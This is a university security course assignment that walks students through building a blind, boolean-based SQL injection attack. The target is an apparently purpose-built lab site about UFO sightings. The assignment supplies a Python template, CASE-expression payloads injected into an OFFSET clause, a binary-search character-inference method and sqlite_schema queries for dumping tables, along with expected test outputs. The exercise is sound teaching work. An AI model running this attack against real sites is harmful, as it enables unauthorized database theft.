CSCI 3330 Assignment 4

Deadline: October 13, 2025, 10:00pm

1 Background

In this assignment, you will be developing and executing an advanced SQL-based information inference attack on a Web site under realistic conditions to exfiltrate information about the actors behind it. Specifically, by completing this assignment, you will:

- Develop SQL subqueries to embed arbitrary SQL expressions inside of other queries.
- Execute a series of carefully crafted SQL queries to infer secret information from a Web site about which you have no prior information.
- Utilize binary search to infer information about a database's contents bit by bit.

2 AI policy

You may use AI to learn background concepts. You may not use AI to generate, verify, or iterate on solutions for this assignment.

Allowed:

- Concept definitions and explanations: "What is a subquery in SQL?", "What does the CASE expression do in SQL?", "What is binary search?"
- Generic examples not derived from this assignment: "Walk through an example of a `SELECT` query using the `CASE` expression," "Walk through an example of an SQL injection attack using a subquery," "Walk through an example of binary search in python."
- Non-generative tooling: man pages, official documentation, calculators, programming languages, and trying something for yourself.

Handle with care:

- Tools which improve grammar or clarity.

- IDE autocompletion or documentation lookup that does not inject solution content.

Not allowed:

- Any hint, outline, or solution for these specific questions (including rephrased or "similar" versions), e.g., "Help me with the attack in Q2," "Write an SQL injection attack to show me the tables," or "Check my answers."
- Pasting assignment text or numbers into AI to tailor examples.
- Using AI to generate any text, code, calculations, or any other artifacts that you submit.

Ask me questions instead! When in doubt, don't use AI, because **you won't have access to it on tests**, for which these assignments are your preparation.

3 A surprising development

On September 12, 2025, a Web site was discovered on United States Department of State servers detailing a number of recorded UFO sightings going back to ancient times. As the U.S. government has traditionally denied the earthly visitation of extraterrestrial life, the publication of this site has caught many off guard. While some argue that this site is merely an exercise in governmental transparency, others believe that the information it contains is meant to throw us off the track of a larger government conspiracy. Is there anything we can discover about who is running this site or for how long these records have been maintained?

4 Implementing the attack

In this exercise you will perform an advanced attack on this site to infer information about who is behind it despite not having any prior information about the Web site. We will use the following python code as a template:

```
#!/usr/bin/env python3

PARAMETER = # TODO
URL = 'https://brainhammer.com/sqlinference/?' + PARAMETER + '=%s'

import urllib.parse
import urllib.request

def escape(s):
    return s.replace('\\', '\\\\').replace("'", "\\'")
```

```
def generate_query(subquery, offset, test):
    return """CASE
WHEN (%s LIMIT 1 OFFSET %d) IS NULL THEN 0
WHEN (%s LIMIT 1 OFFSET %d) < '%s' THEN 1
WHEN (%s LIMIT 1 OFFSET %d) = '%s' THEN 2
ELSE 3
END""" % (
        subquery, int(offset),
        subquery, int(offset), escape(test),
        subquery, int(offset), escape(test),
    )

def download(url):
    with urllib.request.urlopen(url) as response:
        html = response.read()
    return html.decode('utf-8')

def execute_query(subquery, offset, test):
    query = generate_query(subquery, offset, test)
    print('Executing query %r...' % query)
    url = URL % urllib.parse.quote_plus(query)
    print('Downloading %r...' % url)
    result = oracle(download(url))
    print('%r: %s' % (test, result))
    return result

def oracle(html):
    # TODO

def infer_with_prefix(subquery, offset, prefix):
    # TODO

def infer(subquery, offset):
    if execute_query(subquery, offset, '') is None:
        return None
    # TODO

def infer_all(subquery):
    # TODO

def main():
    # TODO

if __name__ == '__main__':
    main()
```

You will now complete the attack through a number of incremental steps.

1. Identify a useful vector for an SQL injection attack. **Hint:** our attack will require a parameter vector such that when the SQL expression

   ```
   CASE WHEN 1=1 THEN 3 END
   ```

   is substituted as the parameter's value the result of that SQL expression (3) is treated as the parameter's value. When you have identified the vector and its parameter name in the URL query string, update `PARAMETER` in the python code with the corresponding parameter name.

2. Pagination is commonly implemented using an SQL query of the following form:

   ```
   SELECT title FROM posts LIMIT 10 OFFSET 50
   ```

   This query would display 10 items per page and begin at page 6 (assuming that offset 0 corresponds to page 1). Given this background knowledge, what clause of an SQL query are you likely injecting code into in the previous question?

3. The SQL injection vector that you identified, while common, is also limited. It occurs at the end of a statement where the UNION keyword is not allowed. To make matters worse, the underlying database of the Web site you are attacking is read-only, and so you will not be able to make any modifications to it. However, you will find that you can, nevertheless, exfiltrate all of the tables and rows out of this database.

   The SQL expression generated by `generate_query()` returns 0 when the `offset`-th result returned by a given `subquery` is `NULL`, 1 if it is less than the given string `test`, 2 if it is equal to it, and 3 otherwise. While we cannot directly observe the numerical output of this expression, we can observe its effect on the resulting HTML page. Complete the function `oracle()`, whose sole argument is the resulting HTML page as a string, such that the function returns 1 if the subquery resulting in HTML page returned 3, 0 if it returned 2, -1 if it returned 1, and None if it returned 0. As test vectors:

   ```
   execute_query('SELECT title FROM posts WHERE id = 1', 0, 'a')
   ```

   should return 1,

   ```
   execute_query('SELECT title FROM posts WHERE id = 1', 0, 'z')
   ```

   should return -1,

   ```
   execute_query('SELECT title FROM posts WHERE id =-1', 0, 'z')
   ```

should return None, and

```
execute_query('SELECT title FROM posts WHERE id = 1', 0,
    'c. 1450 BC | Thutmose III Jebel Barkal Stele | ' +
    '(Ancient Egypt; Jebel Barkal, Lower Egypt)')
```

should return 0. In the context of the arguments passed to the function `execute_query()`, the oracle function can be thought to return similar values to `strcmp()`: 0 if the `offset`-th result of `subquery` is equal to `test`, a negative value if the result is less than `test`, and a positive value if the result is greater than `test`, although `oracle()` also returns `None` if the `offset`-th result of `subquery` is `NULL`.

4. Now implement `infer_with_prefix()` by performing binary search over the return codes of `execute_query()`. Given a `subquery`, an `offset`, and a `prefix`, this function should return two items: (1) the next character c after `prefix` returned by the `offset`-th result of `subquery`, and (2) a boolean which is true if and only if `prefix` + c is equal to the `offset`-th result of `subquery` (i.e., if it is false, you still have more characters left in the result to infer).

   As test vectors,

   ```
   infer_with_prefix('SELECT title FROM posts WHERE id = 1', 0, '')
   ```

   should return `('c', False)`,

   ```
   infer_with_prefix('SELECT title FROM posts WHERE id = 1', 0, 'c. 1')
   ```

   should return `('4', False)`, and

   ```
   infer_with_prefix('SELECT title FROM posts WHERE id = 1', 0,
       'c. 1450 BC | Thutmose III Jebel Barkal Stele | ' +
       '(Ancient Egypt; Jebel Barkal, Lower Egypt')
   ```

   should return `(')', True)`.

   `Hint:` you may assume that all strings in this exercise are ASCII bytes ≥ 1 and < 128.

5. Now implement `infer()`, which takes as arguments a `subquery` and an `offset` and returns the `offset`-th result of the subquery. `Hint:` call `infer_with_prefix()` in a loop to infer one character at a time. As a test vector,

   ```
   infer('SELECT title FROM posts WHERE id = 1', 0)
   ```

   should return the string `'c. 1450 BC | Thutmose III Jebel Barkal Stele | (Ancient Egypt; Jebel Barkal, Lower Egypt)'`.

6. Finally, implement `infer_all()` which takes as an argument a `subquery` and returns all results from it. As a test vector,

   ```
   infer_all('SELECT title FROM posts WHERE id <= 3')
   ```

   should return the list:

   ```
   [
       'c. 1450 BC | Thutmose III Jebel Barkal Stele | ' +
       '(Ancient Egypt; Jebel Barkal, Lower Egypt)',
       '218 BC | Ships in the sky | ' +
       '(Roman Republic; Italia)',
       '76 BC | Spark from a falling star | ' +
       '(Roman Republic; Asia)'
   ]
   ```

5 Solving the mystery

You now have implemented attack code that can, through sophisticated inference, leak the results of arbitrary SQL queries. You will now use this attack code to find what tables this database holds and the data stored inside those tables.

1. First, infer the names of all tables in this database. In previous questions, we assumed that there was a table named "posts". What is the name of the other table? **Hint:** in SQLite, you can obtain the names of tables using the following query:

   ```
   SELECT name FROM sqlite_schema WHERE type = 'table'
   ```

2. Next, from the newly discovered table, infer the names of its columns. What are their names? **Hint:** in SQLite, you can obtain a table's SQL schema, including its column names, using the following query:

   ```
   SELECT sql FROM sqlite_schema
   WHERE tbl_name = '%s' AND type = 'table'
   ```

   where "%s" is substituted with the actual table name.

3. Finally, for each `TEXT` column in the table, infer the value of each item in that column. (Our attack can be adapted to infer the values of non-`TEXT` columns, but doing so is not required to complete this assignment.) **Hint:** recall that you can obtain the value of each item in a column using the following SQL query:

   ```
   SELECT %s FROM %t
   ```

   where "%s" is replaced by the column name and "%t" is replaced by the table name. After obtaining all `TEXT` columns, what are the rows in this table?

6 Epilogue

Wait, what is this? What does this mean? Sometimes a revelation can leave one with more questions than answers.

7 Submission

Send an email to my email address in the Syllabus containing a single `*.txt` or `*.pdf` file attachment consisting of your answers to the questions in Section 5 and all code you developed for this assignment.